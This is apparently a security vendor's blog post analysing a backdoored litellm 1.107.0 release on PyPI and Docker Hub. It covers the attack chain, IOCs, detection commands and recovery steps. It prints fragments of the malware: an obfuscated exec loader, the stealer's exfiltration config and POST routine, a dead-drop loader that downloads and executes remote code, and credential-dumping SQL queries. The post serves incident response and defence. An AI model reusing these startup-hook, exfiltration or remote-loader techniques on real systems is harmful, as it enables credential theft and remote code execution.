Back to Blog

litellm 1.107.0 Compromised on PyPI: Backdoored Wheels Drop a Credential Stealer and an Hourly Remote Code Loader

litellm 1.107.0 shipped a credential stealer and an hourly remote code loader in all seven PyPI wheels and in the official Docker images, including the latest tags. The release was built from a lookalike GitHub repository. Full analysis, IOCs, and recovery steps for pip and container users.
Sai Likhith
View LinkedIn

October 21, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
litellm 1.107.0 compromised on PyPI
Table of Contents

Overview

On October 21, 2026, litellm 1.107.0 was published to PyPI with malware in every one of its compiled wheels, and the same payload shipped in the official LiteLLM Docker images. LiteLLM, maintained by BerriAI, is the Python SDK and proxy that puts more than 100 LLM providers behind one OpenAI compatible API. It runs on developer laptops, in CI pipelines, and on production AI gateways that hold provider API keys for OpenAI, Anthropic, Azure, Bedrock, and Vertex. This is the second time this year that LiteLLM has been compromised on PyPI. The first was the 1.82.7 and 1.82.8 incident in March.

All seven 1.107.0 wheels (macOS, Linux glibc and musl, and Windows) carry three extra files that pip copies into the root of site-packages: cook.pth, cook.py, and sitecustomize.py. The v1.107.0 Docker images on GHCR and Docker Hub carry byte identical copies, and for about three hours the latest, main-latest, and main-stable tags pointed to the infected image. Python runs both payloads automatically on every interpreter start in that environment. Nobody has to import litellm. The first payload is a credential stealer that calls itself privcollect. It takes browser passwords, SSH and GPG keys, cloud credentials, the environment of every running process, the configs of more than 20 AI coding tools, and the provider API keys stored in the LiteLLM proxy database. It encrypts the bundle and posts it to the lookalike domain www.litellm.dev. The second payload forks a background daemon that checks a GitHub dead drop every hour and runs whatever Python the attacker serves.

The v1.107.0 git tag is clean. The release was built from a lookalike GitHub repository, Berri-AI/litellm, where the attacker had stacked ten commits on top of the tag that added the payload and a data = "cook" line to pyproject.toml. PyPI has removed the release and BerriAI has removed the infected Docker images.

Action Required

If litellm 1.107.0 was installed from a wheel, or you ran a LiteLLM container pulled on October 21, treat that host as fully compromised.

This covers the v1.107.0 image and any pull of latest, main-latest, or main-stable for ghcr.io/berriai/litellm, litellm-database, litellm-non_root, and docker.io/litellm/litellm from about 11:48 UTC until BerriAI removed the images that afternoon.

Every Python start on that host ran the stealer. Kill any detached Python process holding /tmp/remote_code_loader.lock, delete cook.pth, cook.py, and sitecustomize.py from site-packages, and pin litellm==1.106.2 (or the v1.106.2 image by digest). Then rotate every credential the host could reach: cloud keys and instance roles, SSH and GPG keys, browser passwords, AI tool tokens, CI and Vault secrets, and every provider API key stored in the LiteLLM proxy database. Block litellm.dev. Full recovery steps are below.

The Compromised Package

PackageVersion and ArtifactStatus
litellm (PyPI)1.107.0, all 7 wheelsCompromised. Each wheel installs cook.pth, cook.py, and sitecustomize.py into site-packages. The decoded payloads are identical across platforms. The Windows wheel differs only in CRLF line endings.
litellm (PyPI)1.107.0, sdist .tar.gzTampered build config, no payload. pyproject.toml contains the injected data = "cook" line, but the cook/ directory is not included.
Docker images (GHCR and Docker Hub)ghcr.io/berriai/litellm, litellm-database, litellm-non_root, and docker.io/litellm/litellm: tag v1.107.0, plus latest, main-latest, and main-stable while they pointed to itCompromised. The image's /app/.venv/lib/python3.13/site-packages/ holds byte identical copies of the three payload files. All six image builds (three variants, amd64 and arm64) came from the same malicious source revision. Now removed by BerriAI.
litellm (PyPI)1.107.0rc1, 1.107.0rc2, 1.106.x, 1.105.x, 1.104.x, 1.103.xClean. No .pth, sitecustomize.py, or .data/ entries in the inspected wheels. The 1.107.0.dev1 to dev3 pre releases were not inspected.
litellm-proxy-extras, litellm-enterprise (PyPI)0.4.108 to 0.4.110; 0.1.69.post2, 0.1.73.post1, 0.1.76.post1Reported clean in the original disclosure.

Because LiteLLM has shipped as maturin built platform wheels since the 1.10x line, almost every install pulls a wheel rather than the sdist. A wheel only payload therefore reached essentially every 1.107.0 user. LiteLLM also releases often (12 releases across four minor lines between October 17 and October 21), and many projects depend on it with an open ended litellm>= constraint, so a fresh install or lockfile refresh would have picked up 1.107.0 as soon as it was published. Proxy deployments that track the latest or main-stable image tag picked it up on their next pull or restart.

How we confirmed it

  1. The wheels carry files that are not part of LiteLLM. The first three entries in the manylinux x86_64 wheel's RECORD are litellm-1.107.0.data/purelib/cook.pth, cook.py, and sitecustomize.py. No earlier release contains them, and neither do the 1.107.0 release candidates.
  2. The published build config does not match git. The sdist's pyproject.toml has a data = "cook" line under [tool.maturin]. That line is not present at the v1.107.0 tag (commit 66c8f5b1a9). Every Python source file under litellm/ in the wheel is byte identical to the sdist. The tampering is limited to the build config and the three injected files.
  3. The release was built from a lookalike repository. The SLSA provenance attached to every v1.107.0 Docker image names the source as https://github.com/Berri-AI/litellm (with a hyphen) at commit 20535d8f. The same release workflow recorded the real BerriAI/litellm repository as the source for v1.106.2, v1.106.1, and v1.107.0-rc.2.
  4. The attacker infrastructure was staged a week ahead. litellm.dev was registered on October 13, 2026 at 00:45 UTC. The GitHub account letters9813, which hosted the dead drop, was created six hours later on the same day.

How the Attack Works

Step 1: A one line change to the build config

LiteLLM builds its wheels with maturin, which compiles the Rust bridge (litellm/rust_bridge/_native.abi3.so) and bundles the Python sources. Maturin's data option copies a local directory into the wheel's .data/ tree. The attacker added one line pointing it at a cook/ directory. Here is the [tool.maturin] section of pyproject.toml at the git tag, next to the same section in the sdist published to PyPI:

git tag v1.107.0 (commit 66c8f5b1a9)PyPI sdist litellm 1.107.0
[tool.maturin] [tool.maturin]
manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml" manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"
module-name = "litellm.rust_bridge._native" module-name = "litellm.rust_bridge._native"
python-source = "." python-source = "."
+ data = "cook"
python-packages = ["litellm_cli"] python-packages = ["litellm_cli"]
bindings = "pyo3" bindings = "pyo3"

The cook/ directory existed in the build tree but was left out of the sdist. The result is a source tree on GitHub that looks clean, an sdist that looks almost clean, and seven wheels plus a set of Docker images that carry the payload.

How the payload reached the release: a lookalike repository

The build provenance on every v1.107.0 Docker image names the builder as BerriAI's own release workflow, BerriAI/project-releaser run 39587059944 (started 10:51 UTC), and the source as https://github.com/Berri-AI/litellm at 20535d8fa11f786a6c24df7488a0e449ed5f09ad. Only v1.107.0 was built from the hyphenated repository. Berri-AI and Berri-AI/litellm now return 404.

Because a fork shares objects with its parent, the attacker's commits are still readable through BerriAI/litellm, although they sit on no branch or tag. The chain starts at the v1.107.0 tag, passes one legitimate main commit, and then adds ten commits from Berri-AI <ckdi82fkoos@proton.me>:

CommitTime (UTC)MessageChange
9b98cd9308:56Add import statementcook/purelib/cook.pth
5102010008:57Change greetingcook/purelib/cook.py (stealer blob)
7f7f989208:58Addcook/purelib/sitecustomize.py (loader, 30 minute interval)
1a657baf to 6a4390f109:05 to 09:06chore: set ... version (four commits)Sets litellm back to 1.107.0 and pins existing litellm-proxy-extras and litellm-enterprise releases, mimicking a release branch bump
91d6546f09:45Update print statementLoader interval to one hour, adds the inline fallback stealer
783c43bc09:48Addpyproject.toml: data = "cook"
20535d8f10:46fix(docker): copy cook data into the rust-native stageCOPY cook ./cook in the backend, gateway, and migrations Dockerfiles

The commit messages are GitHub web editor defaults, and the first nine show a "Verified" badge. That badge only means the commits were made in GitHub's web editor, which signs everything it creates. It says nothing about who made them. Who triggered the release run, and how its source input came to point at Berri-AI/litellm, are questions only the maintainers can answer. BerriAI says it is still investigating how the release was published.

Step 2: Two Python startup hooks, no import needed

The wheel's WHEEL metadata says Root-Is-Purelib: false, so pip installs everything under litellm-1.107.0.data/purelib/ into the top level of site-packages:

litellm-1.107.0.data/purelib/cook.pth,sha256=fxkWMucyBwXRVLhSBPGuVGtUOsvX6IYSKbdvUEK5K9s,12
litellm-1.107.0.data/purelib/cook.py,sha256=ndCjkm-Wo364bPHuIxDZvpMTnMTr7z754u_pUxOQviU,22252
litellm-1.107.0.data/purelib/sitecustomize.py,sha256=NL7wT-iKydCq4EdWMLFzhoHRW5TyM6yKpG6s9ZaDBfo,25509

In the Docker images the same three files sit directly in /app/.venv/lib/python3.13/site-packages/. From there, two standard CPython startup mechanisms fire on every interpreter launch, whether that is pip, pytest, a Jupyter kernel, or the LiteLLM proxy itself:

  • cook.pth is 12 bytes: import cook. Python's site module executes any .pth line that starts with import. This is the same technique the March compromise used with litellm_init.pth.
  • sitecustomize.py is imported by site automatically after the .pth files are processed. Its last lines check for __name__ == "sitecustomize" and call main(). Some distribution Pythons, such as Debian and Ubuntu system Python, ship their own sitecustomize.py earlier on sys.path, which shadows this one. The .pth path is not affected by that.

Step 3: The privcollect loader

cook.py is a single 22,251 character line. It aliases zlib and base64 to random names and executes the decompressed blob:

import zlib as _3659944d,base64 as _35100b45;exec(_3659944d.decompress(_35100b45.b64decode('eNrdfWt327qu4Pf+Ck/XdCTvxu9HnJydcydN0zZtHt1J+nRytGSJtlXLkirJdpKuzm8fAKQk6mU77b53zp2uvWNbAkGQAEEAJEFr7rl+WHGDnUpwD39Ca852Kt8C19mpWO5OxYdfvu6Y7hwApovQsncqIz1g/S78do0ZC3cq...')), {'__name__': 'p14c7d1bb'})

There is only one layer of encoding. It decodes to 61,000 bytes and 1,236 lines of plain Python whose configuration block names the tool and its targets:

PC_URL = 'http://www.litellm.dev/healthcheck'
PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb'
PC_PUBKEY = '-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU...'
PC_MODULES = ['sysinfo', 'netinfo', 'browser_pw', 'browser_hist', 'ssh_keys', 'shell_hist',
'cloud_creds', 'dev_secrets', 'container_creds', 'cicd_secrets', 'ai_devtools',
'env_vars', 'db_litellm', 'cloud_metadata', 'gpg_keys', 'tls_privkey']
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC = True

On start, the stealer returns immediately if the environment variable PRIVCOLLECT_ACTIVE is set. Otherwise it sets the variable, which child processes inherit and which stops it from running twice, and runs the collection on a daemon thread so the host Python process is not visibly slowed down. A marker file at /tmp/.pc_once_72129118c59f5636c0bb stops repeat collection, but it is only written after the exfiltration server answers with HTTP 200. While exfiltration fails, the stealer runs again on every Python start.

Step 4: What it steals

The stealer runs 16 collection modules. The list covers the usual developer and cloud secrets, plus two targets chosen specifically for LiteLLM users: AI coding tool credentials and the LiteLLM proxy's own database.

  • Browsers: Chrome, Chromium, Edge, Brave, Vivaldi, and Opera login, cookie, and web data databases. Passwords are decrypted on the spot on Linux and Windows (up to 3,000). Firefox logins.json and key4.db are shipped for offline decryption. The top 300 history URLs per profile are also taken.
  • Keys: every file in ~/.ssh/, GPG private keys from ~/.gnupg/, any .pem, .key, .pfx, .p12, .pk8, or .ppk file under the home directory, and TLS private keys from /etc/ssl/private, nginx and Apache SSL directories, and Let's Encrypt.
  • Cloud and developer credentials: AWS, Azure, and gcloud credential files, ~/.kube/config, Docker config, GitHub CLI tokens, rclone, .netrc, .git-credentials, .npmrc, .pypirc, Maven, Gradle, Composer, RubyGems, and Cargo credentials, and .env files two levels deep under the home and working directories.
  • Cloud instance metadata: AWS IMDSv2 (falling back to v1) role credentials, ECS task credentials, GCP service account access tokens, and Azure instance metadata. Stolen AWS credentials are checked with STS GetCallerIdentity before they are sent.
  • CI and infrastructure secrets: GitLab Runner config, Jenkins admin password and master key, Vault tokens, Terraform and Packer credentials, Kubernetes service account tokens, and everything in /run/secrets.
  • Every process environment: the current environment and, on Linux, /proc/<pid>/environ for every process it can read. On a CI runner or gateway host this captures secrets passed to other processes, not just the one that triggered the stealer.
  • AI coding tools: Claude Code and Claude Desktop, Cursor, Windsurf and Codeium, Kiro, Zed, GitHub Copilot, VS Code MCP settings and the Cline, Roo, Cody, and Claude Code extensions, Gemini CLI OAuth credentials, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, amp, Factory, Trae, Ollama, Amazon Q, and the Hugging Face token.
  • Shell and database history: bash, zsh, fish, Python and Node REPL, MySQL, psql, Redis, and SQLite history, .viminfo, and PowerShell PSReadLine.

The db_litellm module goes after LiteLLM proxy deployments directly. If DATABASE_URL is set, it starts a child Python process that connects with the proxy's own Prisma client and dumps the stored provider credentials and model configurations, which include the upstream API keys. In a container built from the infected litellm-database image, the variant built for proxies with a database, this fires on the first start:

SELECT "credential_name", "credential_values" FROM "LiteLLM_CredentialsTable" LIMIT 500
SELECT "model_name", "litellm_params" FROM "LiteLLM_ProxyModelTable" LIMIT 500

After the queries finish, it kills any Prisma query-engine processes it started, to avoid leaving stray processes behind.

Step 5: Encryption and exfiltration

The collected data becomes a JSON document tagged "tool": "privcollect". It is encrypted with AES-256-CBC under a random key, and the key is wrapped with an embedded RSA-4096 public key using OAEP-SHA256. The payload tries four crypto backends in turn (the openssl command line, the cryptography package, Windows CNG, and a bundled pure Python AES), so it works on almost any host. The result is packed as a tar.gz containing hdr.json, data.bin, and key.bin and posted over plain HTTP:

def pc_post(url, body, token=None):
req = urllib.request.Request(url, data=body, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)')
req.add_header('X-SHA256', hashlib.sha256(body).hexdigest())
if token:
req.add_header('X-Token', token)
for attempt in range(4):
...

The destination is http://www.litellm.dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb. The path is named to look like a routine health check, and the domain is a lookalike of LiteLLM's real domains. Only the holder of the RSA private key can decrypt captured traffic, so a packet capture cannot tell you what was taken. Plan rotation on the assumption that everything the host could reach was stolen.

Step 6: An hourly remote code loader

sitecustomize.py is the second payload. It is mostly readable source. When it runs, it takes a non blocking lock on /tmp/remote_code_loader.lock so only one copy runs per host, then forks, calls setsid(), redirects its output to /dev/null, and changes directory to /. The resulting daemon outlives the Python process that started it. Every hour it does the following:

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH = "/codepy"
LOOP_INTERVAL = 3600
...
text = await fetch_text(GITHUB_RAW_URL)
domain = next((line.strip() for line in text.splitlines() if DOMAIN_RE.match(line.strip())), None)
if not domain:
return
await resolve_domain(domain)
...
code = await fetch_text("http://{}{}".format(domain, CODE_PATH))
await exec_code(code)

The daemon reads a hostname from a file in a GitHub repository the attacker controls, downloads http://<host>/codepy, and runs it with exec(). All errors, including SystemExit, are swallowed. The file also embeds a second copy of the privcollect stealer as a fallback for environments where only sitecustomize runs.

The dead drop history shows the operator testing the loader before the release:

Date (UTC)Commit messagedomain.txt
2026-10-18 04:17add domain.txtlocalhost:18909
2026-10-19 02:51use test.test.comtest.test.com:18909
2026-10-20 09:15empty domain.txt(empty)

domain.txt was empty when the release went out, so the /codepy stage was never armed while the dead drop existed. After the disclosure, the letters9813 account and its pythonclient-test repository were deleted, and both now return 404. That cuts off the current channel, but infected hosts keep polling the same URL every hour. The channel is tied to the username, so anyone who later registers letters9813 and recreates pythonclient-test/main/domain.txt would get code execution on every host that is still infected. This is why killing the daemon is part of recovery, not just removing the package.

On Windows, fcntl and os.fork do not exist, so the remote code loader fails silently. The stealer still runs. Its marker file path also does not resolve on Windows, so the stealer likely runs again on every Python start there.

Attack Flow

  1. The attacker pushes ten commits to the lookalike Berri-AI/litellm repository, and BerriAI's release workflow builds v1.107.0 from it.
  2. pip install litellm==1.107.0 installs any of the seven wheels and copies cook.pth, cook.py, and sitecustomize.py into site-packages. A container started from an infected image already has them.
  3. The next Python start of any kind runs cook.pth, which imports cook. The privcollect stealer starts on a background thread and sets PRIVCOLLECT_ACTIVE=1.
  4. The stealer runs 16 collection modules, including the LiteLLM proxy database dump when DATABASE_URL is set.
  5. The bundle is encrypted with AES-256-CBC and RSA-4096 and posted to http://www.litellm.dev/healthcheck. On HTTP 200 it writes /tmp/.pc_once_72129118c59f5636c0bb.
  6. In parallel, sitecustomize.py takes the lock at /tmp/remote_code_loader.lock and forks a detached daemon (Linux and macOS).
  7. Every hour the daemon reads domain.txt from letters9813/pythonclient-test. If it holds a hostname, the daemon downloads http://<host>/codepy and executes it.

Timeline

Time (UTC)Event
2026-10-13 00:45litellm.dev registered
2026-10-13 06:43GitHub account letters9813 created
2026-10-18 04:17Dead drop repository pythonclient-test created
2026-10-20 09:15domain.txt emptied after testing
2026-10-21 08:56 to 10:46Ten attacker commits pushed to Berri-AI/litellm
2026-10-21 10:51Release workflow run 39587059944 starts from the lookalike repository
2026-10-21 11:00 to 11:06Infected v1.107.0 Docker images built
2026-10-21 11:211.107.0 wheels built (wheel file timestamps)
2026-10-21 11:39 to 11:401.107.0 uploaded to PyPI
2026-10-21 11:48Infected image pushed to Docker Hub; latest, main-latest, and main-stable point to it
2026-10-21 11:50GitHub release v1.107.0 published
2026-10-21 12:06Compromise reported in BerriAI/litellm#47826
2026-10-21, by 13:231.107.0 removed from PyPI
2026-10-21 14:32BerriAI confirms the infected Docker images are removed
2026-10-21, afternoonletters9813 account and dead drop repository deleted

Indicators of Compromise

  • PyPI package: litellm==1.107.0 (all wheels)
  • Docker images: ghcr.io/berriai/litellm:v1.107.0 (index sha256:1bbcb1443bc9..., amd64 manifest sha256:bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5), ghcr.io/berriai/litellm-database:v1.107.0 (index sha256:c00f9d92c427...), ghcr.io/berriai/litellm-non_root:v1.107.0 (index sha256:7b00e91cd2fe...), and docker.io/litellm/litellm:v1.107.0 (same index as GHCR)
  • Lookalike source repository: github.com/Berri-AI/litellm, malicious head commit 20535d8fa11f786a6c24df7488a0e449ed5f09ad
  • Attacker commit author: Berri-AI <ckdi82fkoos@proton.me>
  • Exfiltration URL: http://www.litellm.dev/healthcheck (plain HTTP POST)
  • Exfiltration domain: litellm.dev and www.litellm.dev (registered October 13, 2026, behind Cloudflare)
  • Exfiltration headers: X-Token: XWiA8gZNa7NcX2XRoAEb, X-SHA256, and User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
  • Dead drop URL: https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt (account now deleted)
  • Dead drop GitHub account: letters9813
  • Second stage path: http://<host>/codepy (any request to this path means remote code ran)
  • Historic dead drop values: localhost:18909, test.test.com:18909
  • Files in site-packages: cook.pth, cook.py, sitecustomize.py
  • Stealer marker: /tmp/.pc_once_72129118c59f5636c0bb
  • Loader lock: /tmp/remote_code_loader.lock (a live holder process means the loader is running)
  • Temporary directories: .pc_sq_* and .pc_e_* in the system temp directory
  • Environment variable: PRIVCOLLECT_ACTIVE=1
  • Build config: data = "cook" under [tool.maturin] in pyproject.toml
  • RSA public key prefix: MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU

File hashes (SHA-256)

FileSHA-256
cook.pth7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
Windows: 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
cook.py9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
Windows: 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
sitecustomize.py34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
Windows: b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465
macosx_10_12_x86_64.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
macosx_11_0_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
manylinux_2_28_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
manylinux_2_28_x86_64.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
musllinux_1_2_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
musllinux_1_2_x86_64.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484
litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819

Wheel file names above are shortened. Each starts with litellm-1.107.0-cp310-abi3-.

Am I Affected?

CI/CD Pipelines

Check your Harden-Runner organization baseline for outbound calls to www.litellm.dev or litellm.dev, and for requests to raw.githubusercontent.com from jobs that install LiteLLM or run the LiteLLM image. Any call to litellm.dev from a runner is a strong signal that the stealer ran. Because the stealer reads /proc/<pid>/environ for every process, treat every secret exposed to that job as stolen, not only the ones passed to the Python step.

Developer Machines

Developer laptops are a primary target. That is where browser passwords, SSH keys, cloud credentials, and AI coding tool tokens live. Look for cook.pth or cook.py in any site-packages directory, including virtual environments, and for a sitecustomize.py that did not come from your Python distribution. The files /tmp/.pc_once_72129118c59f5636c0bb and /tmp/remote_code_loader.lock are direct signs of infection:

find / -name cook.pth -path "*site-packages*" 2>/dev/null
ls -la /tmp/.pc_once_72129118c59f5636c0bb /tmp/remote_code_loader.lock 2>/dev/null
lsof /tmp/remote_code_loader.lock 2>/dev/null

Containers and Kubernetes

If you run the LiteLLM proxy from the official images, check which image digest each deployment actually pulled on October 21. A deployment on latest, main-latest, or main-stable that pulled or restarted between about 11:48 and 14:32 UTC got the infected image. Check running containers and your internal registry for the payload files and the digests listed above:

docker images --digests | grep -E 'berriai/litellm|litellm/litellm'
docker exec <container> ls -la /app/.venv/lib/python3.13/site-packages/cook.pth
kubectl get pods -A -o jsonpath='{range .items[*]}{.status.containerStatuses[*].imageID}{"\n"}{end}' | grep -i litellm

LiteLLM Proxy and Gateway Hosts

If 1.107.0 ran on a LiteLLM proxy host or container with DATABASE_URL set, assume every credential in LiteLLM_CredentialsTable and every API key in LiteLLM_ProxyModelTable was taken, along with the master key and salt key from the environment. On cloud instances, assume the instance role credentials were taken from the metadata service. BerriAI states that its private enterprise registry was not affected.

Code Repositories

Search your lockfiles and requirements for the bad version:

grep -rniE "litellm[=<>~! ]*1\.107\.0([^0-9rc]|$)" . --include=requirements*.txt --include=*.lock --include=pyproject.toml --include=Pipfile*

Also check projects that depend on LiteLLM with an open ended constraint such as litellm>=1.x, and Dockerfiles, Compose files, and Helm values that reference a floating LiteLLM image tag. Any install, lock refresh, or image pull between the 1.107.0 release and its removal could have resolved to the malicious version.

Recovery Steps

If litellm 1.107.0 was installed from a wheel, or a container ran from an infected image, treat that host as compromised:

  1. Kill the remote code loader. Find the process holding /tmp/remote_code_loader.lock with lsof or fuser and kill it. Its parent is PID 1 and its working directory is /.
  2. Remove the payload files. Delete cook.pth, cook.py, and sitecustomize.py from every affected site-packages directory. pip uninstall litellm removes them because they are listed in RECORD, but verify they are gone. Then delete the marker file and reinstall a clean version: pip install 'litellm==1.106.2'.
  3. Redeploy containers on a pinned clean image. Replace any container built from an infected image instead of cleaning it in place. Pin v1.106.2 by digest rather than by a floating tag, and purge cached v1.107.0 images from internal registries and pull through caches.
  4. Purge mirrors and proxies. Some PyPI mirrors kept serving cached 1.107.0 wheels after PyPI removed the release. If you run a PyPI mirror or a caching proxy, delete the 1.107.0 files by the hashes above.
  5. Rotate every credential the host could reach. Cloud access keys and instance role sessions, SSH and GPG keys, saved browser passwords and session cookies, GitHub, npm, PyPI, and other registry tokens, Kubernetes and Vault tokens, CI runner secrets, and AI tool tokens for Claude, Cursor, Copilot, Gemini, Codex, and the others listed above.
  6. On LiteLLM proxy hosts, rotate every provider API key stored in the proxy database and in model litellm_params, plus the LiteLLM master key and salt key.
  7. Block the attacker infrastructure. Block litellm.dev at your DNS resolver or egress firewall, and alert on requests to raw.githubusercontent.com/letters9813/.
  8. Audit network logs. Search for requests to litellm.dev, to the dead drop URL, and to any path ending in /codepy. A /codepy request means attacker supplied code ran on that host, and the incident scope is larger than this analysis.

How StepSecurity Protects Against This

Global Block List: the exfiltration domains are already blocked

StepSecurity has added litellm.dev and www.litellm.dev to the Harden-Runner Global Block List, a curated list of indicators of compromise from real supply chain attacks. It applies to every workflow run automatically, alongside any policy you set, and it is enforced even when a workflow's egress policy is in audit mode. A CI job that installs litellm 1.107.0 or runs the infected image cannot reach the exfiltration server.

Harden-Runner detects and blocks the exfiltration in CI

Harden-Runner builds a baseline of the network destinations each workflow normally contacts. A job that installs LiteLLM normally reaches pypi.org and files.pythonhosted.org. A call to www.litellm.dev that has never appeared in that baseline is flagged as anomalous, along with the process that made it. Detection is based on what the code does at runtime, so it works on new attacker infrastructure that is not on any list yet. In block mode, any destination outside the allowlist is denied at the network layer, so the stolen bundle never leaves the runner.

Secure Registry stops the bad version at install time

StepSecurity Secure Registry is a policy enforced registry that sits between your existing package managers and the public PyPI and npm registries. Once a version is confirmed compromised, as litellm 1.107.0 is, Secure Registry blocks it from being downloaded across your organization. A developer running pip install, a lockfile refresh, or a CI job resolving litellm>= gets a clean version instead of the stealer, and the block holds even if a public mirror is still serving cached copies.

Dev Machine Guard covers developer laptops

The payload is built for developer machines, where browser passwords, SSH keys, and AI coding tool credentials live. Dev Machine Guard's suspicious files detection watches for unexpected .pth files and sitecustomize.py files appearing in Python environments, which is exactly how this release and the March LiteLLM compromise ran their code.

Threat Center

StepSecurity Enterprise customers can see this incident in the Threat Center, with the full IOC set, affected versions, and remediation steps, and receive alerts through their existing SIEM, Slack, and email integrations.

Acknowledgment

This compromise was reported by Lidor Machluf in issue #47826 on the BerriAI/litellm repository, including the analysis of the Docker images and the build provenance that traced the release to the Berri-AI/litellm lookalike repository. Thanks to Lidor for the detailed public write up.

References

Check if litellm 1.107.0 is in your environment

StepSecurity checks your repositories, CI/CD pipelines, and developer machines for compromised packages like litellm 1.107.0.

Explore Related Posts

‍